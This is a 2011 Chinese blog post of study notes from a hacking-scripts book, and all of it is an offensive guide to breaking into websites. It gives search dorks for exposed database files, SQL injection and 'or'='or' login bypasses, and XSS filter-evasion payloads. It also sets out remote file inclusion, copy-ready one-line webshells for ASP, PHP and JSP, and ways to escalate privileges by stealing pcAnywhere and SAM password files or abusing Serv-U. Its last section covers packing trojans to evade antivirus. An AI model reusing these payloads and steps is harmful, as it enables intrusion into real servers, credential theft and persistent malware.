精通黑客脚本 第二章笔记

2.1 Google Hack技术大演练
 allintext:关键字,与intitle功能相同
 intext:验证码 4800
 cache:关键字 :搜索含有关键字内容cache。比如搜索北京大学网站服务器中缓存的内容,cache:pku.edu.cn
 define:关键字:搜索关键字的定义
 filetype:文件名.后缀名。搜索特定的文件。
 info:关键字。搜索含有关键字的URL地址。
 link:关键字。查找与关键字做了链接的URL地址
 site:域名。返回域名中所有的URL地址,它可以探测网站的拓扑结构进行,也是非常的重要
 related:URL 。搜索与指定URL相关的页面。
 stocks:搜索有关一家公司的股票市场信息
 insubject:搜索Google组的标题行
 msgid:搜索识别新闻组帖子的Google组信息标识符和字符串
 ...

  暴库漏洞:一般是加上%5c或者inc等一些符号让系统在调用数据库时出现错误,然后返回的数据中提示调用数据库出现错误,错误里面一般都含有数据库的绝对路径。

2.2 'or'='or'经典漏洞攻击
2.3.1 conn.asp暴库法
   inurl:"conn.asp"
   %5c暴库法
2.3.3 暴库常见问题和解决方法
 “工具”下找到“Internet选项”,“高级”-》“显示友好的HTTP错误信息”的勾去了。去除HTTP500错误
2.4cookies欺骗漏洞
 用到工具IEcookie View.
 对于利用cookie进行欺骗,用到工具桂森老兵cookie的欺骗工具
2.5 跨站漏洞
 跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,但是当游览器下载该页面,嵌入其中的脚本将被解释执行。
 漏洞产生的原因是由于程序员在编写程序时对一些变量没有做充分的过滤,直接把用户提交的数据关到sql语句里执行,这样导致用户可以提交一些特意构造
的语句 一般都是带有像JavaScript等这类脚本代码。 可以用它来获取网站 管理员或普通用户的cookie,隐藏运行网页木马,甚至格式式浏览者的硬盘,只要脚本代码能够实现的功能,跨站攻击都能够做到
 跨站脚本漏洞的本质是HTML的注入问题,如果恶意用户的输入没有经过严格的筛选进入了数据库,并最后生成的显示给来访用户的页面中,那么用户访问该页面时,浏览器就会执行恶意用户所输入的HTML代码。
   XSS的探测和绕过过滤
 在可输入区输入script代码。然后再打开此页面,如果有被执行,则说明有跨站漏洞喽
 如果显眼的<script>字符被过滤,可以试试利用已经存在的属性,
 如<img src=javascript:alert("test")>,可以一样的实现跨站的探测。进一步,如果javascript:的关键字也被过滤了那么可以试试ASCII码的表示方法,将javascript:转换成一些16进制的值,
 比如:<img src="javascript&#116&#58alert(/xss/)">或者添加空格,tab
 比如:<img src=javas????cript:alert(/xss/)" width=100>还有可以用事件和属性避免关键字,绕过监测,
 比如:<img scr="#" onerror=alert(/xss/)> <img src="#" style="Xss:expression(alert(/xss/));">

 方法:最好是输入一些测试的script语句,然后转换后的html代码,当script不能被执行时,看哪些被过滤了,那么就可以针对被过滤的语句进行绕过

2.6 注入漏洞
 asp下的注入工具 阿D,明小子等
 php下的注入工具 casi hdsi 
   手工篇
 user>0 判断网站后如数据库类型
 对于Mysql来说,不同版本对注入结果会产生很大影响,因为确定版本比较重要,and ord(mid(version(),1,1))>51就可以实现
2.7文件包含漏洞
 远程文件包含漏洞,就是因为php文件中的变量过滤不严,没有判断提交的参数是本地的还是远程主机上的,因此我们可以指定远程主机上的文件作为参数来提交给变量执行,
而如果提交的这个文件中存在恶意代码 甚至php木马的话,文件中的代码或木马就会以web权限被成功执行,因为这个漏洞是php文件中的变量过滤,所以这个漏洞 也只有php系统中存在。
 exploit:它是利用一切可以利用的工具、采用一切可以采用的方法 、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取 网站用户资料文档、添加自定义用户、甚至
侵入网站 获得管理员权限控制整个网站的最终目的。即一个攻击程序 。
 其实大部分的文件包含漏洞利用的过程都差不多
 例www.xxxx/add.php?Hhtmls=http://shell.txt?   add.php就是出现文件包含漏洞的文件。而Htmls就是文件中接收数据的参数,

 文件包含漏洞 可借助的工具 r-include2

2.8 旁注攻击
2.9如何获取Webshell
 上传
 后台备份及恢复
  写入过滤不完全
 利用过滤不完全写入一句马的服务端,然后利用客户端进行连接得到一个webshell是目前得到webshell的最为主要的方法之一。
    要利用写入过滤不完全 来获得webshell就涉及到一句话木马了。
 一句话分为客户端和服务端,C/S模型。
 asp <%execute request("value")%>,<%execute request.form("value")%>,<%eval request("value">,<%On Error Resume Next execute request("value")%>
 插入到文件中,然后启动客户端传小马上去
    还有一种,通过暴库或其他方法(如默认数据库地址)得到网站数据库的绝对路径。但是暴出的数据库必须是以asp结尾的数据库,即数据库的格式是asp.
 我们所输入的服务端要插入到数据库中才会起作用。当然必须系统没有对这些代码进行过滤。首先利用%5c暴库得到数据库的绝对路径。
 可以用海阳顶端asp木马@2006登陆直接 得到webshell
 
 <?require($_REQUEST['a']);?>、<?require($a);?><?@include($_POST["a"]);?>等等
 服务端插入网站的文件中也有两种方法 ,一利用后台功能,将服务端插入到php文件中,二利用目前很多php网站中使用的文本数据库,即数据库文件的后缀为php,所以一般对于我们输入 的数据也是放在
php格式的文件中去了。那么我们往该数据库中插入服务端即可得到一个shell
 推荐工具:zv新型php一句话木马客户端GUI版 
 
 对于jsp来说,同样的存在一句话木马。
 <% if(request.getParameter("f")!=null)
  (new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>.我们可以将这个服务端代码保存为1.jsp,
 我们提交http://localhost/1.jsp?f=1.txt&t=hack,然后我们再提交http://localhost/1.txt
 

 对于这个一句话木马,首先服务端代码插入服务器文件或数据库。

2.10 使用Webshell及提升权限
 电信为了方便网站管理员方便对网站的管理,一般都 安装了一些软件,比如pcaywhere、serv-u等。
 (1)如果服务器上装了pcanywhere服务端,管理员为了管理方便,也给了我们方便,它默认安装在系统盘的Documents and Settings/All User/Application Data/Symantec/pcAnywhere
/目录下,我们先看能否跳转到这个目录,如果能跳转的话,那么就下载*.cif文件。用记事本找开cif文件。用记事本打开cif文件,那么我们就得到pcAnywhere的密码了,直接利用它登陆
 (2)、还可以下载服务器的SAM表,其文件路径为系统盘:\WINNT\system32\config\下。如果能跳转到这个目录,那么就下载文件名为SAM的文件到我们本地的计算机中,对于SAM可用LC5破解
 (3)、虚拟主机用的最多的应该算是serv-u这个FTP工具。如果可以跳转到此目录,看servvDaemon.ini是否可写,如果可写我们就可以很快得到管理员权限
 (4)、查找conn和config,pass这类型的文件看能否得到sa或者mysql的相关密码,可能会有所收获等。
 (5)、先检查有什么系统服务,或者随系统自动启动的程序和管理员经常使用的软件,比如诺顿、金山、QQ等,是否可写,如果可以就修改其程序,绑定一个批处理或者VBS,里面写入我们的木马,然后还是等
待服务器重启。
 (6)、很多有经验的管理员,它会把cmd.exe、net.ext和net1.exe都给删除。那么我们得到的webshell也无法执行命令,我们需要上传这些文件
 (7)、我们要用到SQL Server的cacls及xp_cmdshell。
 (8)、利用本地溢出程序进行提权。 如果系统中的软件有漏洞,那使用溢出程序溢出是最快得到管理员权限的方法
 。。。。还有很多
 溢出提权,事前准备1.得到一个可以执行的目录。2.确定操作系统和其安装的扣那个存在溢出漏洞

2.10.3 木马的加密与防杀
 辛苦的webshell要是被杀毒杀了,那不。。。。做好一匹不会被查杀的马,,对马加壳。
 加壳。其实就是对木马进行加密或变换,因为杀毒 软件查杀木马是千一些关键字,而加密或变换之后关键字就没有了,那么杀毒软件就没有办法识别出来了
 asp 加密工具 :asp木马免杀加密工具
 php :php木马加密GUI版by 执着我一生
 
2.11 其它技术
 2.11.1 网络钓鱼
 2.11.2 社会工程学
 

 

 

 

 

posted on 2011-11-01 19:44  belie8  阅读(845)  评论(0编辑  收藏  举报

导航